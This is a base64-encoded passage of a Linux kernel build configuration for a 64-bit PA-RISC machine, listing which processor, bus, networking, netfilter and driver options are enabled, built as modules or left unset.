X0NIRUNLUE9JTlRfUkVTVE9SRSBpcyBub3Qgc2V0CkNPTkZJR19OQU1FU1BBQ0VTPXkKIyBD
T05GSUdfVVRTX05TIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBDX05TIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNFUl9OUyBpcyBub3Qgc2V0CiMgQ09ORklHX1BJRF9OUyBpcyBub3Qgc2V0CiMg
Q09ORklHX05FVF9OUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDSEVEX0FVVE9HUk9VUCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NZU0ZTX0RFUFJFQ0FURUQgaXMgbm90IHNldApDT05GSUdfUkVM
QVk9eQpDT05GSUdfQkxLX0RFVl9JTklUUkQ9eQpDT05GSUdfSU5JVFJBTUZTX1NPVVJDRT0i
IgpDT05GSUdfUkRfR1pJUD15CkNPTkZJR19SRF9CWklQMj15CkNPTkZJR19SRF9MWk1BPXkK
Q09ORklHX1JEX1haPXkKQ09ORklHX1JEX0xaTz15CkNPTkZJR19SRF9MWjQ9eQpDT05GSUdf
Q0NfT1BUSU1JWkVfRk9SX1NJWkU9eQpDT05GSUdfU1lTQ1RMPXkKQ09ORklHX0FOT05fSU5P
REVTPXkKQ09ORklHX1NZU0NUTF9FWENFUFRJT05fVFJBQ0U9eQpDT05GSUdfU1lTQ1RMX0FS
Q0hfVU5BTElHTl9BTExPVz15CkNPTkZJR19CUEY9eQojIENPTkZJR19FWFBFUlQgaXMgbm90
IHNldApDT05GSUdfTVVMVElVU0VSPXkKQ09ORklHX1NHRVRNQVNLX1NZU0NBTEw9eQpDT05G
SUdfU1lTRlNfU1lTQ0FMTD15CiMgQ09ORklHX1NZU0NUTF9TWVNDQUxMIGlzIG5vdCBzZXQK
Q09ORklHX0tBTExTWU1TPXkKIyBDT05GSUdfS0FMTFNZTVNfQUxMIGlzIG5vdCBzZXQKIyBD
T05GSUdfS0FMTFNZTVNfQUJTT0xVVEVfUEVSQ1BVIGlzIG5vdCBzZXQKQ09ORklHX0tBTExT
WU1TX0JBU0VfUkVMQVRJVkU9eQpDT05GSUdfUFJJTlRLPXkKQ09ORklHX0JVRz15CkNPTkZJ
R19FTEZfQ09SRT15CkNPTkZJR19CQVNFX0ZVTEw9eQpDT05GSUdfRlVURVg9eQpDT05GSUdf
RVBPTEw9eQpDT05GSUdfU0lHTkFMRkQ9eQpDT05GSUdfVElNRVJGRD15CkNPTkZJR19FVkVO
VEZEPXkKIyBDT05GSUdfQlBGX1NZU0NBTEwgaXMgbm90IHNldApDT05GSUdfU0hNRU09eQpD
T05GSUdfQUlPPXkKQ09ORklHX0FEVklTRV9TWVNDQUxMUz15CiMgQ09ORklHX1VTRVJGQVVM
VEZEIGlzIG5vdCBzZXQKQ09ORklHX1BDSV9RVUlSS1M9eQpDT05GSUdfTUVNQkFSUklFUj15
CiMgQ09ORklHX0VNQkVEREVEIGlzIG5vdCBzZXQKQ09ORklHX0hBVkVfUEVSRl9FVkVOVFM9
eQoKIwojIEtlcm5lbCBQZXJmb3JtYW5jZSBFdmVudHMgQW5kIENvdW50ZXJzCiMKIyBDT05G
SUdfUEVSRl9FVkVOVFMgaXMgbm90IHNldApDT05GSUdfVk1fRVZFTlRfQ09VTlRFUlM9eQpD
T05GSUdfU0xVQl9ERUJVRz15CiMgQ09ORklHX0NPTVBBVF9CUksgaXMgbm90IHNldAojIENP
TkZJR19TTEFCIGlzIG5vdCBzZXQKQ09ORklHX1NMVUI9eQpDT05GSUdfU0xVQl9DUFVfUEFS
VElBTD15CiMgQ09ORklHX1NZU1RFTV9EQVRBX1ZFUklGSUNBVElPTiBpcyBub3Qgc2V0CiMg
Q09ORklHX1BST0ZJTElORyBpcyBub3Qgc2V0CkNPTkZJR19UUkFDRVBPSU5UUz15CkNPTkZJ
R19IQVZFX09QUk9GSUxFPXkKIyBDT05GSUdfVVBST0JFUyBpcyBub3Qgc2V0CkNPTkZJR19I
QVZFXzY0QklUX0FMSUdORURfQUNDRVNTPXkKQ09ORklHX0hBVkVfQVJDSF9UUkFDRUhPT0s9
eQpDT05GSUdfR0VORVJJQ19TTVBfSURMRV9USFJFQUQ9eQpDT05GSUdfQVJDSF9IQVZFX05N
SV9TQUZFX0NNUFhDSEc9eQpDT05GSUdfSEFWRV9BUkNIX1NFQ0NPTVBfRklMVEVSPXkKQ09O
RklHX1NFQ0NPTVBfRklMVEVSPXkKIyBDT05GSUdfQ0NfU1RBQ0tQUk9URUNUT1IgaXMgbm90
IHNldApDT05GSUdfSEFWRV9WSVJUX0NQVV9BQ0NPVU5USU5HX0dFTj15CkNPTkZJR19IQVZF
X01PRF9BUkNIX1NQRUNJRklDPXkKQ09ORklHX01PRFVMRVNfVVNFX0VMRl9SRUxBPXkKQ09O
RklHX0NMT05FX0JBQ0tXQVJEUz15CkNPTkZJR19BUkNIX05PX0NPSEVSRU5UX0RNQV9NTUFQ
PXkKCiMKIyBHQ09WLWJhc2VkIGtlcm5lbCBwcm9maWxpbmcKIwojIENPTkZJR19HQ09WX0tF
Uk5FTCBpcyBub3Qgc2V0CiMgQ09ORklHX0FSQ0hfSEFTX0dDT1ZfUFJPRklMRV9BTEwgaXMg
bm90IHNldAojIENPTkZJR19IQVZFX0dFTkVSSUNfRE1BX0NPSEVSRU5UIGlzIG5vdCBzZXQK
Q09ORklHX1NMQUJJTkZPPXkKQ09ORklHX1JUX01VVEVYRVM9eQpDT05GSUdfQkFTRV9TTUFM
TD0wCkNPTkZJR19NT0RVTEVTPXkKQ09ORklHX01PRFVMRV9GT1JDRV9MT0FEPXkKQ09ORklH
X01PRFVMRV9VTkxPQUQ9eQpDT05GSUdfTU9EVUxFX0ZPUkNFX1VOTE9BRD15CkNPTkZJR19N
T0RWRVJTSU9OUz15CiMgQ09ORklHX01PRFVMRV9TUkNWRVJTSU9OX0FMTCBpcyBub3Qgc2V0
CiMgQ09ORklHX01PRFVMRV9TSUcgaXMgbm90IHNldAojIENPTkZJR19NT0RVTEVfQ09NUFJF
U1MgaXMgbm90IHNldApDT05GSUdfTU9EVUxFU19UUkVFX0xPT0tVUD15CkNPTkZJR19JTklU
X0FMTF9QT1NTSUJMRT15CkNPTkZJR19CTE9DSz15CkNPTkZJR19CTEtfREVWX0JTRz15CkNP
TkZJR19CTEtfREVWX0JTR0xJQj15CkNPTkZJR19CTEtfREVWX0lOVEVHUklUWT15CiMgQ09O
RklHX0JMS19DTURMSU5FX1BBUlNFUiBpcyBub3Qgc2V0CgojCiMgUGFydGl0aW9uIFR5cGVz
CiMKIyBDT05GSUdfUEFSVElUSU9OX0FEVkFOQ0VEIGlzIG5vdCBzZXQKQ09ORklHX01TRE9T
X1BBUlRJVElPTj15CkNPTkZJR19FRklfUEFSVElUSU9OPXkKQ09ORklHX0JMT0NLX0NPTVBB
VD15CgojCiMgSU8gU2NoZWR1bGVycwojCkNPTkZJR19JT1NDSEVEX05PT1A9eQojIENPTkZJ
R19JT1NDSEVEX0RFQURMSU5FIGlzIG5vdCBzZXQKQ09ORklHX0lPU0NIRURfQ0ZRPXkKQ09O
RklHX0RFRkFVTFRfQ0ZRPXkKIyBDT05GSUdfREVGQVVMVF9OT09QIGlzIG5vdCBzZXQKQ09O
RklHX0RFRkFVTFRfSU9TQ0hFRD0iY2ZxIgpDT05GSUdfQlJPS0VOX1JPREFUQT15CkNPTkZJ
R19JTkxJTkVfU1BJTl9VTkxPQ0tfSVJRPXkKQ09ORklHX0lOTElORV9SRUFEX1VOTE9DSz15
CkNPTkZJR19JTkxJTkVfUkVBRF9VTkxPQ0tfSVJRPXkKQ09ORklHX0lOTElORV9XUklURV9V
TkxPQ0s9eQpDT05GSUdfSU5MSU5FX1dSSVRFX1VOTE9DS19JUlE9eQojIENPTkZJR19GUkVF
WkVSIGlzIG5vdCBzZXQKCiMKIyBQcm9jZXNzb3IgdHlwZSBhbmQgZmVhdHVyZXMKIwojIENP
TkZJR19QQTcwMDAgaXMgbm90IHNldAojIENPTkZJR19QQTcxMDBMQyBpcyBub3Qgc2V0CiMg
Q09ORklHX1BBNzIwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBNzMwMExDIGlzIG5vdCBzZXQK
Q09ORklHX1BBOFgwMD15CkNPTkZJR19QQTIwPXkKQ09ORklHX1BSRUZFVENIPXkKQ09ORklH
X01MT05HQ0FMTFM9eQpDT05GSUdfNjRCSVQ9eQpDT05GSUdfUEFSSVNDX1BBR0VfU0laRV80
S0I9eQojIENPTkZJR19QQVJJU0NfUEFHRV9TSVpFXzE2S0IgaXMgbm90IHNldAojIENPTkZJ
R19QQVJJU0NfUEFHRV9TSVpFXzY0S0IgaXMgbm90IHNldApDT05GSUdfU01QPXkKQ09ORklH
X0lSUVNUQUNLUz15CkNPTkZJR19IT1RQTFVHX0NQVT15CkNPTkZJR19BUkNIX1NFTEVDVF9N
RU1PUllfTU9ERUw9eQpDT05GSUdfQVJDSF9ESVNDT05USUdNRU1fRU5BQkxFPXkKQ09ORklH
X0FSQ0hfRkxBVE1FTV9FTkFCTEU9eQpDT05GSUdfQVJDSF9ESVNDT05USUdNRU1fREVGQVVM
VD15CkNPTkZJR19OT0RFU19TSElGVD0zCkNPTkZJR19QUkVFTVBUX05PTkU9eQojIENPTkZJ
R19QUkVFTVBUX1ZPTFVOVEFSWSBpcyBub3Qgc2V0CiMgQ09ORklHX1BSRUVNUFQgaXMgbm90
IHNldAojIENPTkZJR19IWl8xMDAgaXMgbm90IHNldApDT05GSUdfSFpfMjUwPXkKIyBDT05G
SUdfSFpfMzAwIGlzIG5vdCBzZXQKIyBDT05GSUdfSFpfMTAwMCBpcyBub3Qgc2V0CkNPTkZJ
R19IWj0yNTAKIyBDT05GSUdfU0NIRURfSFJUSUNLIGlzIG5vdCBzZXQKQ09ORklHX1NFTEVD
VF9NRU1PUllfTU9ERUw9eQojIENPTkZJR19GTEFUTUVNX01BTlVBTCBpcyBub3Qgc2V0CkNP
TkZJR19ESVNDT05USUdNRU1fTUFOVUFMPXkKQ09ORklHX0RJU0NPTlRJR01FTT15CkNPTkZJ
R19GTEFUX05PREVfTUVNX01BUD15CkNPTkZJR19ORUVEX01VTFRJUExFX05PREVTPXkKIyBD
T05GSUdfSEFWRV9CT09UTUVNX0lORk9fTk9ERSBpcyBub3Qgc2V0CkNPTkZJR19TUExJVF9Q
VExPQ0tfQ1BVUz00CiMgQ09ORklHX0NPTVBBQ1RJT04gaXMgbm90IHNldApDT05GSUdfUEhZ
U19BRERSX1RfNjRCSVQ9eQpDT05GSUdfWk9ORV9ETUFfRkxBRz0wCkNPTkZJR19WSVJUX1RP
X0JVUz15CiMgQ09ORklHX0tTTSBpcyBub3Qgc2V0CkNPTkZJR19ERUZBVUxUX01NQVBfTUlO
X0FERFI9NDA5NgojIENPTkZJR19DTEVBTkNBQ0hFIGlzIG5vdCBzZXQKIyBDT05GSUdfRlJP
TlRTV0FQIGlzIG5vdCBzZXQKIyBDT05GSUdfWlBPT0wgaXMgbm90IHNldAojIENPTkZJR19a
QlVEIGlzIG5vdCBzZXQKIyBDT05GSUdfWlNNQUxMT0MgaXMgbm90IHNldApDT05GSUdfTUFY
X1NUQUNLX1NJWkVfTUI9ODAKIyBDT05GSUdfSURMRV9QQUdFX1RSQUNLSU5HIGlzIG5vdCBz
ZXQKQ09ORklHX0NPTVBBVD15CkNPTkZJR19TWVNWSVBDX0NPTVBBVD15CkNPTkZJR19BVURJ
VF9BUkNIPXkKQ09ORklHX05SX0NQVVM9MzIKCiMKIyBCdXMgb3B0aW9ucyAoUENJLCBQQ01D
SUEsIEVJU0EsIEdTQywgSVNBKQojCkNPTkZJR19HU0M9eQpDT05GSUdfSFBQQj15CkNPTkZJ
R19JT01NVV9DQ0lPPXkKQ09ORklHX0dTQ19MQVNJPXkKQ09ORklHX0dTQ19XQVg9eQojIENP
TkZJR19FSVNBIGlzIG5vdCBzZXQKQ09ORklHX1BDST15CiMgQ09ORklHX1BDSUVQT1JUQlVT
IGlzIG5vdCBzZXQKQ09ORklHX1BDSV9CVVNfQUREUl9UXzY0QklUPXkKIyBDT05GSUdfUENJ
X01TSSBpcyBub3Qgc2V0CiMgQ09ORklHX1BDSV9ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklH
X1BDSV9SRUFMTE9DX0VOQUJMRV9BVVRPIGlzIG5vdCBzZXQKQ09ORklHX1BDSV9TVFVCPW0K
Q09ORklHX1BDSV9BVFM9eQpDT05GSUdfUENJX0lPVj15CiMgQ09ORklHX1BDSV9QUkkgaXMg
bm90IHNldAojIENPTkZJR19QQ0lfUEFTSUQgaXMgbm90IHNldAojIENPTkZJR19IT1RQTFVH
X1BDSSBpcyBub3Qgc2V0CgojCiMgUENJIGhvc3QgY29udHJvbGxlciBkcml2ZXJzCiMKIyBD
T05GSUdfUENJRV9EV19QTEFUIGlzIG5vdCBzZXQKQ09ORklHX0dTQ19ESU5PPXkKQ09ORklH
X1BDSV9MQkE9eQpDT05GSUdfSU9TQVBJQz15CkNPTkZJR19JT01NVV9TQkE9eQpDT05GSUdf
SU9NTVVfSEVMUEVSPXkKIyBDT05GSUdfUENDQVJEIGlzIG5vdCBzZXQKCiMKIyBQQS1SSVND
IHNwZWNpZmljIGRyaXZlcnMKIwpDT05GSUdfU1VQRVJJTz15CkNPTkZJR19DSEFTU0lTX0xD
RF9MRUQ9eQpDT05GSUdfUERDX0NIQVNTSVM9eQpDT05GSUdfUERDX0NIQVNTSVNfV0FSTj15
CkNPTkZJR19QRENfU1RBQkxFPXkKCiMKIyBFeGVjdXRhYmxlIGZpbGUgZm9ybWF0cwojCkNP
TkZJR19CSU5GTVRfRUxGPXkKQ09ORklHX0NPUkVfRFVNUF9ERUZBVUxUX0VMRl9IRUFERVJT
PXkKQ09ORklHX0JJTkZNVF9TQ1JJUFQ9eQojIENPTkZJR19IQVZFX0FPVVQgaXMgbm90IHNl
dApDT05GSUdfQklORk1UX01JU0M9bQpDT05GSUdfQ09SRURVTVA9eQpDT05GSUdfTkVUPXkK
Q09ORklHX05FVF9JTkdSRVNTPXkKCiMKIyBOZXR3b3JraW5nIG9wdGlvbnMKIwpDT05GSUdf
UEFDS0VUPXkKIyBDT05GSUdfUEFDS0VUX0RJQUcgaXMgbm90IHNldApDT05GSUdfVU5JWD15
CiMgQ09ORklHX1VOSVhfRElBRyBpcyBub3Qgc2V0CkNPTkZJR19YRlJNPXkKQ09ORklHX1hG
Uk1fQUxHTz1tCkNPTkZJR19YRlJNX1VTRVI9bQpDT05GSUdfWEZSTV9TVUJfUE9MSUNZPXkK
Q09ORklHX1hGUk1fTUlHUkFURT15CiMgQ09ORklHX1hGUk1fU1RBVElTVElDUyBpcyBub3Qg
c2V0CiMgQ09ORklHX05FVF9LRVkgaXMgbm90IHNldApDT05GSUdfSU5FVD15CkNPTkZJR19J
UF9NVUxUSUNBU1Q9eQojIENPTkZJR19JUF9BRFZBTkNFRF9ST1VURVIgaXMgbm90IHNldApD
T05GSUdfSVBfUE5QPXkKIyBDT05GSUdfSVBfUE5QX0RIQ1AgaXMgbm90IHNldApDT05GSUdf
SVBfUE5QX0JPT1RQPXkKIyBDT05GSUdfSVBfUE5QX1JBUlAgaXMgbm90IHNldAojIENPTkZJ
R19ORVRfSVBJUCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9JUEdSRV9ERU1VWCBpcyBub3Qg
c2V0CkNPTkZJR19ORVRfSVBfVFVOTkVMPW0KIyBDT05GSUdfSVBfTVJPVVRFIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU1lOX0NPT0tJRVMgaXMgbm90IHNldAojIENPTkZJR19ORVRfSVBWVEkg
aXMgbm90IHNldAojIENPTkZJR19ORVRfVURQX1RVTk5FTCBpcyBub3Qgc2V0CiMgQ09ORklH
X05FVF9GT1UgaXMgbm90IHNldAojIENPTkZJR19ORVRfRk9VX0lQX1RVTk5FTFMgaXMgbm90
IHNldApDT05GSUdfSU5FVF9BSD1tCkNPTkZJR19JTkVUX0VTUD1tCiMgQ09ORklHX0lORVRf
SVBDT01QIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9YRlJNX1RVTk5FTCBpcyBub3Qgc2V0
CkNPTkZJR19JTkVUX1RVTk5FTD1tCkNPTkZJR19JTkVUX1hGUk1fTU9ERV9UUkFOU1BPUlQ9
bQpDT05GSUdfSU5FVF9YRlJNX01PREVfVFVOTkVMPW0KQ09ORklHX0lORVRfWEZSTV9NT0RF
X0JFRVQ9bQpDT05GSUdfSU5FVF9ESUFHPW0KQ09ORklHX0lORVRfVENQX0RJQUc9bQojIENP
TkZJR19JTkVUX1VEUF9ESUFHIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9ESUFHX0RFU1RS
T1kgaXMgbm90IHNldAojIENPTkZJR19UQ1BfQ09OR19BRFZBTkNFRCBpcyBub3Qgc2V0CkNP
TkZJR19UQ1BfQ09OR19DVUJJQz15CkNPTkZJR19ERUZBVUxUX1RDUF9DT05HPSJjdWJpYyIK
IyBDT05GSUdfVENQX01ENVNJRyBpcyBub3Qgc2V0CkNPTkZJR19JUFY2PW0KIyBDT05GSUdf
SVBWNl9ST1VURVJfUFJFRiBpcyBub3Qgc2V0CiMgQ09ORklHX0lQVjZfT1BUSU1JU1RJQ19E
QUQgaXMgbm90IHNldAojIENPTkZJR19JTkVUNl9BSCBpcyBub3Qgc2V0CiMgQ09ORklHX0lO
RVQ2X0VTUCBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVQ2X0lQQ09NUCBpcyBub3Qgc2V0CiMg
Q09ORklHX0lQVjZfTUlQNiBpcyBub3Qgc2V0CiMgQ09ORklHX0lQVjZfSUxBIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSU5FVDZfWEZSTV9UVU5ORUwgaXMgbm90IHNldAojIENPTkZJR19JTkVU
Nl9UVU5ORUwgaXMgbm90IHNldApDT05GSUdfSU5FVDZfWEZSTV9NT0RFX1RSQU5TUE9SVD1t
CkNPTkZJR19JTkVUNl9YRlJNX01PREVfVFVOTkVMPW0KQ09ORklHX0lORVQ2X1hGUk1fTU9E
RV9CRUVUPW0KIyBDT05GSUdfSU5FVDZfWEZSTV9NT0RFX1JPVVRFT1BUSU1JWkFUSU9OIGlz
IG5vdCBzZXQKIyBDT05GSUdfSVBWNl9WVEkgaXMgbm90IHNldApDT05GSUdfSVBWNl9TSVQ9
bQojIENPTkZJR19JUFY2X1NJVF82UkQgaXMgbm90IHNldApDT05GSUdfSVBWNl9ORElTQ19O
T0RFVFlQRT15CiMgQ09ORklHX0lQVjZfVFVOTkVMIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBW
Nl9HUkUgaXMgbm90IHNldAojIENPTkZJR19JUFY2X01VTFRJUExFX1RBQkxFUyBpcyBub3Qg
c2V0CiMgQ09ORklHX0lQVjZfTVJPVVRFIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUV09SS19T
RUNNQVJLIGlzIG5vdCBzZXQKQ09ORklHX05FVF9QVFBfQ0xBU1NJRlk9eQojIENPTkZJR19O
RVRXT1JLX1BIWV9USU1FU1RBTVBJTkcgaXMgbm90IHNldApDT05GSUdfTkVURklMVEVSPXkK
IyBDT05GSUdfTkVURklMVEVSX0RFQlVHIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVURklMVEVS
X0FEVkFOQ0VEIGlzIG5vdCBzZXQKCiMKIyBDb3JlIE5ldGZpbHRlciBDb25maWd1cmF0aW9u
CiMKQ09ORklHX05FVEZJTFRFUl9JTkdSRVNTPXkKQ09ORklHX05FVEZJTFRFUl9ORVRMSU5L
PXkKQ09ORklHX05FVEZJTFRFUl9ORVRMSU5LX0xPRz15CkNPTkZJR19ORl9DT05OVFJBQ0s9
bQpDT05GSUdfTkZfTE9HX0NPTU1PTj1tCkNPTkZJR19ORl9DT05OVFJBQ0tfUFJPQ0ZTPXkK
Q09ORklHX05GX0NPTk5UUkFDS19GVFA9bQpDT05GSUdfTkZfQ09OTlRSQUNLX0lSQz1tCiMg
Q09ORklHX05GX0NPTk5UUkFDS19ORVRCSU9TX05TIGlzIG5vdCBzZXQKQ09ORklHX05GX0NP
Tk5UUkFDS19TSVA9bQpDT05GSUdfTkZfQ1RfTkVUTElOSz1tCiMgQ09ORklHX05FVEZJTFRF
Ul9ORVRMSU5LX0dMVUVfQ1QgaXMgbm90IHNldApDT05GSUdfTkZfTkFUPW0KQ09ORklHX05G
X05BVF9ORUVERUQ9eQojIENPTkZJR19ORl9OQVRfQU1BTkRBIGlzIG5vdCBzZXQKQ09ORklH
X05GX05BVF9GVFA9bQpDT05GSUdfTkZfTkFUX0lSQz1tCkNPTkZJR19ORl9OQVRfU0lQPW0K
IyBDT05GSUdfTkZfTkFUX1RGVFAgaXMgbm90IHNldAojIENPTkZJR19ORl9OQVRfUkVESVJF
Q1QgaXMgbm90IHNldAojIENPTkZJR19ORl9UQUJMRVMgaXMgbm90IHNldApDT05GSUdfTkVU
RklMVEVSX1hUQUJMRVM9bQoKIwojIFh0YWJsZXMgY29tYmluZWQgbW9kdWxlcwojCkNPTkZJ
R19ORVRGSUxURVJfWFRfTUFSSz1tCgojCiMgWHRhYmxlcyB0YXJnZXRzCiMKQ09ORklHX05F
VEZJTFRFUl9YVF9UQVJHRVRfTE9HPW0KQ09ORklHX05FVEZJTFRFUl9YVF9OQVQ9bQojIENP
TkZJR19ORVRGSUxURVJfWFRfVEFSR0VUX05FVE1BUCBpcyBub3Qgc2V0CkNPTkZJR19ORVRG
SUxURVJfWFRfVEFSR0VUX05GTE9HPW0KIyBDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9S
RURJUkVDVCBpcyBub3Qgc2V0CkNPTkZJR19ORVRGSUxURVJfWFRfVEFSR0VUX1RDUE1TUz1t
CgojCiMgWHRhYmxlcyBtYXRjaGVzCiMKQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9BRERS
VFlQRT1tCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfQ09OTlRSQUNLPW0KQ09ORklHX05F
VEZJTFRFUl9YVF9NQVRDSF9QT0xJQ1k9bQpDT05GSUdfTkVURklMVEVSX1hUX01BVENIX1NU
QVRFPW0KIyBDT05GSUdfSVBfU0VUIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBfVlMgaXMgbm90
IHNldAoKIwojIElQOiBOZXRmaWx0ZXIgQ29uZmlndXJhdGlvbgojCkNPTkZJR19ORl9ERUZS
QUdfSVBWND1tCkNPTkZJR19ORl9DT05OVFJBQ0tfSVBWND1tCkNPTkZJR19ORl9DT05OVFJB
Q0tfUFJPQ19DT01QQVQ9eQojIENPTkZJR19ORl9EVVBfSVBWNCBpcyBub3Qgc2V0CkNPTkZJ
R19ORl9MT0dfQVJQPW0KQ09ORklHX05GX0xPR19JUFY0PW0KQ09ORklHX05GX1JFSkVDVF9J
UFY0PW0KQ09ORklHX05GX05BVF9JUFY0PW0KQ09ORklHX05GX05BVF9NQVNRVUVSQURFX0lQ
VjQ9bQojIENPTkZJR19ORl9OQVRfUFBUUCBpcyBub3Qgc2V0CiMgQ09ORklHX05GX05BVF9I
MzIzIGlzIG5vdCBzZXQKQ09ORklHX0lQX05GX0lQVEFCTEVTPW0KQ09ORklHX0lQX05GX0ZJ
TFRFUj1tCkNPTkZJR19JUF9ORl9UQVJHRVRfUkVKRUNUPW0KQ09ORklHX0lQX05GX05BVD1t
CkNPTkZJR19JUF9ORl9UQVJHRVRfTUFTUVVFUkFERT1tCkNPTkZJR19JUF9ORl9NQU5HTEU9
bQojIENPTkZJR19JUF9ORl9SQVcgaXMgbm90IHNldAoKIwojIElQdjY6IE5ldGZpbHRlciBD
b25maWd1cmF0aW9uCiMKQ09ORklHX05GX0RFRlJBR19JUFY2PW0KQ09ORklHX05GX0NPTk5U
UkFDS19JUFY2PW0KIyBDT05GSUdfTkZfRFVQX0lQVjYgaXMgbm90IHNldApDT05GSUdfTkZf
UkVKRUNUX0lQVjY9bQpDT05GSUdfTkZfTE9HX0lQVjY9bQpDT05GSUdfSVA2X05GX0lQVEFC
TEVTPW0KQ09ORklHX0lQNl9ORl9NQVRDSF9JUFY2SEVBREVSPW0KQ09ORklHX0lQNl9ORl9G
SUxURVI9bQpDT05GSUdfSVA2X05GX1RBUkdFVF9SRUpFQ1Q9bQpDT05GSUdfSVA2X05GX01B
TkdMRT1tCiMgQ09ORklHX0lQNl9ORl9SQVcgaXMgbm90IHNldAojIENPTkZJR19JUF9EQ0NQ
IGlzIG5vdCBzZXQKIyBDT05GSUdfSVBfU0NUUCBpcyBub3Qgc2V0CiMgQ09ORklHX1JEUyBp
cyBub3Qgc2V0CiMgQ09ORklHX1RJUEMgaXMgbm90IHNldAojIENPTkZJR19BVE0gaXMgbm90
IHNldAojIENPTkZJR19MMlRQIGlzIG5vdCBzZXQKIyBDT05GSUdfQlJJREdFIGlzIG5vdCBz
ZXQKQ09ORklHX0hBVkVfTkVUX0RTQT15CiMgQ09ORklHX1ZMQU5fODAyMVEgaXMgbm90IHNl
dAojIENPTkZJR19ERUNORVQgaXMgbm90IHNldAojIENPTkZJR19MTEMyIGlzIG5vdCBzZXQK
IyBDT05GSUdfSVBYIGlzIG5vdCBzZXQKIyBDT05GSUdfQVRBTEsgaXMgbm90IHNldAojIENP
TkZJR19YMjUgaXMgbm90IHNldAojIENPTkZJR19MQVBCIGlzIG5vdCBzZXQKIyBDT05GSUdf
UEhPTkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfNkxPV1BBTiBpcyBub3Qgc2V0CiMgQ09ORklH
X0lFRUU4MDIxNTQgaXMgbm90IHNldAojIENPTkZJR19ORVRfU0NIRUQgaXMgbm90IHNldApD
T05GSUdfRENCPXkKQ09ORklHX0ROU19SRVNPTFZFUj1tCiMgQ09ORklHX0JBVE1BTl9BRFYg
aXMgbm90IHNldAojIENPTkZJR19PUEVOVlNXSVRDSCBpcyBub3Qgc2V0CiMgQ09ORklHX1ZT
T0NLRVRTIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUTElOS19ESUFHIGlzIG5vdCBzZXQKIyBD
T05GSUdfTVBMUyBpcyBub3Qgc2V0CiMgQ09ORklHX0hTUiBpcyBub3Qgc2V0CiMgQ09ORklH
X05FVF9TV0lUQ0hERVYgaXMgbm90IHNldAojIENPTkZJR19ORVRfTDNfTUFTVEVSX0RFViBp
cyBub3Qgc2V0CkNPTkZJR19SUFM9eQpDT05GSUdfUkZTX0FDQ0VMPXkKQ09ORklHX1hQUz15
CiMgQ09ORklHX1NPQ0tfQ0dST1VQX0RBVEEgaXMgbm90IHNldApDT05GSUdfTkVUX1JYX0JV
U1lfUE9MTD15CkNPTkZJR19CUUw9eQpDT05GSUdfTkVUX0ZMT1dfTElNSVQ9eQoKIwojIE5l
dHdvcmsgdGVzdGluZwojCiMgQ09ORklHX05FVF9QS1RHRU4gaXMgbm90IHNldAojIENPTkZJ
R19ORVRfRFJPUF9NT05JVE9SIGlzIG5vdCBzZXQKIyBDT05GSUdfSEFNUkFESU8gaXMgbm90
IHNldAojIENPTkZJR19DQU4gaXMgbm90IHNldAojIENPTkZJR19JUkRBIGlzIG5vdCBzZXQK
IyBDT05GSUdfQlQgaXMgbm90IHNldApDT05GSUdfQUZfUlhSUEM9eQojIENPTkZJR19BRl9S
WFJQQ19ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX1JYS0FEIGlzIG5vdCBzZXQKIyBDT05G
SUdfQUZfS0NNIGlzIG5vdCBzZXQKIyBDT05GSUdfV0lSRUxFU1MgaXMgbm90IHNldAojIENP
TkZJR19XSU1BWCBpcyBub3Qgc2V0CiMgQ09ORklHX1JGS0lMTCBpcyBub3Qgc2V0CiMgQ09O
RklHX1JGS0lMTF9SRUdVTEFUT1IgaXMgbm90IHNldAojIENPTkZJR19ORVRfOVAgaXMgbm90
IHNldAojIENPTkZJR19DQUlGIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0VQSF9MSUIgaXMgbm90
IHNldAojIENPTkZJR19ORkMgaXMgbm90IHNldAojIENPTkZJR19MV1RVTk5FTCBpcyBub3Qg
c2V0CkNPTkZJR19EU1RfQ0FDSEU9eQojIENPTkZJR19ORVRfREVWTElOSyBpcyBub3Qgc2V0
CkNPTkZJR19NQVlfVVNFX0RFVkxJTks9eQoKIwojIERldmljZSBEcml2ZXJzCiMKCiMKIyBH
ZW5lcmljIERyaXZlciBPcHRpb25zCiMKQ09ORklHX1VFVkVOVF9IRUxQRVI9eQpDT05GSUdf
VUVWRU5UX0hFTFBFUl9QQVRIPSIiCkNPTkZJR19ERVZUTVBGUz15CiMgQ09ORklHX0RFVlRN
UEZTX01PVU5UIGlzIG5vdCBzZXQKQ09ORklHX1NUQU5EQUxPTkU9eQpDT05GSUdfUFJFVkVO
VF9GSVJNV0FSRV9CVUlMRD15CkNPTkZJR19GV19MT0FERVI9eQpDT05GSUdfRklSTVdBUkVf
SU5fS0VSTkVMPXkKQ09ORklHX0VYVFJBX0ZJUk1XQVJFPSIiCiMgQ09ORklHX0ZXX0xPQURF
Ul9VU0VSX0hFTFBFUl9GQUxMQkFDSyBpcyBub3Qgc2V0CkNPTkZJR19BTExPV19ERVZfQ09S
RURVTVA9eQojIENPTkZJR19ERUJVR19EUklWRVIgaXMgbm90IHNldAojIENPTkZJR19ERUJV
R19ERVZSRVMgaXMgbm90IHNldAojIENPTkZJR19TWVNfSFlQRVJWSVNPUiBpcyBub3Qgc2V0
CiMgQ09ORklHX0dFTkVSSUNfQ1BVX0RFVklDRVMgaXMgbm90IHNldApDT05GSUdfUkVHTUFQ
